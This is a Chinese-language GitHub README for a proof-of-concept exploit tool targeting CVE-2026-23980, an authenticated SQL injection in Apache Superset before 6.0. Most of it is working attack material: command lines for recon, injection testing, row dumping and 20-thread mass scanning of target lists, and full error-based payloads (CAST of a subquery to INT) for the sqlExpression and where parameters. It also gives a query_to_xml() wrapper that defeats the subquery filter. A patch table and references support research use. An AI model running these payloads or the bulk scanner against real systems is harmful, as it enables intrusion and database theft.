oscar-mine/CVE-2026-23980-Exploit

GitHub: oscar-mine/CVE-2026-23980-Exploit

针对 Apache Superset < 6.0 的认证 SQL 注入漏洞提供利用与数据提取的 PoC 工具。

Stars: 0 | Forks: 0

# CVE-2026-23980 - Apache Superset 身份验证 SQL 注入 ``` ____ / __ \ | | | | | |__| | \___\_\ ``` Apache Superset < 6.0.0 允许具有读取权限的认证用户通过 `/api/v1/chart/data` 端点中的 `sqlExpression` 或 `where` 参数执行 **基于错误的 SQL 注入**。 通过 PostgreSQL XML 函数(`query_to_xml` 等)绕过 `validate_adhoc_subquery()` 过滤器,这些函数将 SQL 作为函数参数执行,对 `sqlparse` 词法分析器不可见。 - **CVSS:**6.5 中危(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) - **CWE:**CWE-89(SQL 注入) - **受影响:**Apache Superset < 6.0.0 - **修复:**Apache Superset 6.0.0 - **需要认证:**是(读取权限) - **数据库:**PostgreSQL(基于错误的提取) ## 杀伤链 ``` POST /api/v1/chart/data -> ChartDataRestApi.data() -> QueryContext.get_df_payload() -> SqlaTable.get_sqla_query() -> adhoc column sqlExpression / extras.where injected -> validate_adhoc_subquery() BYPASSED via query_to_xml() -> raw SQL hits PostgreSQL -> CAST((...) AS INT) error leaks data in response ``` ## 安装 ``` git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git cd CVE-2026-23980-Exploit pip install requests ``` ## 用法 ### 侦察 - 指纹识别与枚举数据源 ``` python3 exploit.py --url http://target:8088 -u admin -p admin --check ``` ### 测试数据源是否可注入 ``` python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test ``` ### 通过基于错误的 SQLi 提取数据 ``` # 数据库版本 python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \ --sql "SELECT version()" # 数据库用户 python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1" # 列出表 python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1" # 当前用户 python3 exploit.py ... --sql "SELECT current_user" ``` ### 使用 query_to_xml() 绕过子查询验证 当 `validate_adhoc_subquery()` 阻止查询(检测到 FROM/JOIN)时: ``` python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \ --sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass ``` 这会将查询包装在 `query_to_xml()` 中,从而隐藏 FROM 子句,使其不被词法分析器识别。 ### 批量提取多行 ``` python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \ --sql "SELECT table_name FROM information_schema.tables" --dump --rows 20 ``` ### 使用 WHERE 注入点 ``` python3 exploit.py --url http://target:8088 --ds-id 1 \ --sql "SELECT version()" --injection-point where ``` ### 批量扫描 ``` python3 exploit.py --scan-file targets.txt --threads 20 python3 exploit.py --scan-file targets.txt --scan-output results.txt ``` ### 通过 Burp 代理 ``` python3 exploit.py --url http://target:8088 --ds-id 1 \ --sql "SELECT version()" --proxy http://127.0.0.1:8080 ``` ## 工作原理 ### 注入向量 **sqlExpression**(默认) - 注入到列定义中: ``` { "columns": [{ "label": "injected", "sqlExpression": "CAST((SELECT version()) AS INT)", "expressionType": "SQL" }] } ``` **where** - 注入到 extras.where 子句中: ``` { "extras": { "where": "1=1 AND CAST((SELECT version()) AS INT) > 0" } } ``` ### 基于错误的提取 利用 PostgreSQL 的类型转换来泄露数据: ``` CAST((SELECT version()) AS INT) ``` PostgreSQL 无法将字符串转换为整数,因此会抛出错误: ``` ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..." ``` 泄露的值从 API 响应的错误消息中解析。 ### 验证绕过 Superset 的 `has_table_query()` 会扫描 `FROM`/`JOIN` 以检测子查询。PostgreSQL 的 `query_to_xml()` 执行 SQL 但将其隐藏为函数参数: ``` query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '') ``` 词法分析器看到的是函数调用,而不是 `FROM` 子句,从而绕过了过滤器。 ## 补丁分析 | 版本 | 状态 | |---|---| | < 4.0.2 | 易受攻击(未对 XML 函数进行拒绝列表) | | 4.0.2 | 部分修复(CVE-2024-39887 - 添加部分 XML 函数到拒绝列表) | | 4.1.0 | 扩展拒绝列表(更多 XML 函数) | | 4.1.2 | 修复行级安全绕过(CVE-2025-48912) | | **6.0.0** | **对 CVE-2026-23980 的完整修复** | ## 参考 - [NVD - CVE-2026-23980](https://nvd.nist.gov/vuln/detail/CVE-2026-23980) - [Apache 安全公告](https://lists.apache.org/thread/h4l02zw1pr2vywv0dc5zjn3grdcdhwf4) - [Quarkslab - 绕过 Superset SQL 注入限制](https://blog.quarkslab.com/bypass-apache-superset-restrictions-to-perform-sql-injections.html) - [OSS Security](https://www.openwall.com/lists/oss-security/2026/02/24/5) - [CVE-2025-48912 - 相关行级安全绕过](https://github.com/advisories/GHSA-8w7f-8pr9-xgwj) ## 免责声明 本工具仅供 **授权的安全研究** 使用。仅在获得明确许可的系统上使用。作者不对滥用行为负责。
标签:Apache Superset, /api/v1/chart/data, api端点, CVE-2026-23980, CVSS 6.5, CWE-89, exploit, PostgreSQL, query_to_xml, sqlExpression, validate_adhoc_subquery, where参数, 子查询验证绕过, 数据库注入, 无服务器架构, 演示模式, 认证绕过, 读取访问, 逆向工具, 错误型SQL注入